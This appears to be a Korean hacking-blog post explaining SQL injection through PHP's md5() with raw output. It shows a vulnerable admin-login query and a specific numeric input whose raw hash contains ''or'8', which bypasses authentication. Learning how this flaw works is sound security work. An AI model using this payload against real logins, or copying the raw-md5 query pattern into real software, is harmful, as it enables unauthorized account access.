반응형
만약 SQL 쿼리가
mysql_query("SELECT login FROM admins WHERE password = '" . md5($_GET['password'], true) . "'");
처럼 받은 값을 md5하여 처리할 경우 SQL Injection이 될 수 있다.
MD5 함수를 자세히 보면
string md5( string $str [, bool $raw_output = false] )
처럼 되어있다,
즉, md5('test',true) 같이 사용할 경우 raw 형태로 출력이 되어 Mysql 등 DB에서 유효한 ' 혹은 " 가 출력될 수 있다.
참고한 사이트를 보면
'||'1
md5의 raw 형태 출력 결과 위와 같은 결과가 나오길 바라며 코딩을 하여 찾아보았다.
아래는 그 결과이다.
content: 129581926211651571912466741651878684928 count: 18933549 hex: 06da5430449f8f6f23dfc1276f722738 raw: ?T0D??o#??'or'8.N=?
즉 password 부분에 content에 해당하는 [129581926211651571912466741651878684928] 를 넣게 되면 raw 형태로 쿼리에 들어가 ' or '부분이 적용되고 8이 boolean의 true처럼 작동하여 로그인이 성공하는 방식이다.
자세한 사항은 아래 남겨놓은 참고 사이트를 보길 바란다.
참고 : http://cvk.posthaven.com/sql-injection-with-raw-md5-hashes
반응형
'Hacking > Web' 카테고리의 다른 글
Oracle 을 통해 JAVA 코드 사용 (0) | 2018.02.05 |
---|---|
XXE Injection (0) | 2018.02.01 |
SQL Injection_V2.0 (0) | 2018.01.17 |
SQL Injection (0) | 2018.01.16 |
파일 다운로드 취약점 시 찾아볼 것 (0) | 2017.12.04 |